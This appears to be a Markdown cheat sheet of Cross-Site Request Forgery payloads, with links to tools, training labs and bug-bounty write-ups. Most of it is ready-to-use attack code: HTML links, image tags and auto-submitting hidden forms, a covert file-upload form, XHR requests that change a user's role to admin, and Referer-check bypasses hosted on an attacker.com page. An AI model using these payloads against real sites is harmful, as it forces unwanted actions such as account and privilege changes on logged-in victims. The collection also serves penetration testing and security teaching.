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190 lines
8 KiB
Markdown
190 lines
8 KiB
Markdown
# Cross-Site Request Forgery
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> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
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## Summary
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* [Methodology](#methodology)
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* [Payloads](#payloads)
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* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
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* [HTML GET - No User Interaction)](#html-get---no-user-interaction)
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* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
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* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
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* [HTML POST - multipart/form-data with file upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
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* [JSON GET - Simple Request](#json-get---simple-request)
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* [JSON POST - Simple Request](#json-post---simple-request)
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* [JSON POST - Complex Request](#json-post---complex-request)
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* [Bypass referer header validation check](#bypass-referer-header-validation)
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* [Basic payload](#basic-payload)
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* [With question mark payload](#with-question-mark-payload)
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* [With semicolon payload](#with-semicolon-payload)
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* [With subdomain payload](#with-subdomain-payload)
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* [References](#references)
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## Tools
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* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
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## Methodology
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## Payloads
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When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
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### HTML GET - Requiring User Interaction
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```html
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<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
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```
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### HTML GET - No User Interaction
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```html
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<img src="http://www.example.com/api/setusername?username=CSRFd">
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```
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### HTML POST - Requiring User Interaction
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```html
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<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
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<input name="username" type="hidden" value="CSRFd" />
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<input type="submit" value="Submit Request" />
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</form>
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```
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### HTML POST - AutoSubmit - No User Interaction
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```html
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<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
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<input name="username" type="hidden" value="CSRFd" />
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<input type="submit" value="Submit Request" />
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</form>
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<script>
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document.getElementById("autosubmit").submit();
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</script>
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```
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### HTML POST - multipart/form-data with file upload - Requiring User Interaction
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```html
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<script>
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function launch(){
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const dT = new DataTransfer();
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const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
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dT.items.add( file );
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document.xss[0].files = dT.files;
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document.xss.submit()
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}
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</script>
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<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
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<input id="file" type="file" name="file"/>
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<input type="submit" name="" value="" size="0" />
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</form>
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<button value="button" onclick="launch()">Submit Request</button>
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```
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### JSON GET - Simple Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("GET", "http://www.example.com/api/currentuser");
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xhr.send();
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</script>
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```
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### JSON POST - Simple Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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//application/json is not allowed in a simple request. text/plain is the default
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xhr.setRequestHeader("Content-Type", "text/plain");
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//You will probably want to also try one or both of these
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//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
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//xhr.setRequestHeader("Content-Type", "multipart/form-data");
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xhr.send('{"role":admin}');
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</script>
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```
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### JSON POST - Complex Request
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```html
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<script>
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://www.example.com/api/setrole");
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xhr.withCredentials = true;
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xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
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xhr.send('{"role":admin}');
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</script>
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```
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## Bypass referer header validation
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### Basic payload
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```
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1) Open https://attacker.com/csrf.html
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2) Referer header is ..
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Referer: https://attacker.com/csrf.html
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```
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### With question mark(`?`) payload
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```
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1) Open https://attacker.com/csrf.html?trusted.domain.com
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2) Referer header is ..
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Referer: https://attacker.com/csrf.html?trusted.domain.com
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```
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### With semicolon(`;`) payload
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```
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1) Open https://attacker.com/csrf.html;trusted.domain.com
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2) Referer header is ..
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Referer: https://attacker.com/csrf.html;trusted.domain.com
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```
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### With subdomain payload
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```
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1) Open https://trusted.domain.com.attacker.com/csrf.html
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2) Referer headers is ..
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Referer: https://trusted.domain.com.attacker.com/csrf.html
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```
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## Labs
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* [CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
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* [CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
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* [CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
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* [CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
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* [CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
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* [CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
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* [CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
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* [CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
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## References
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- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
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- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
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- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
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- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
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- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
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- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
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- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
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- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
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- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
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- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
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- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
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- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
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- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
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- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)
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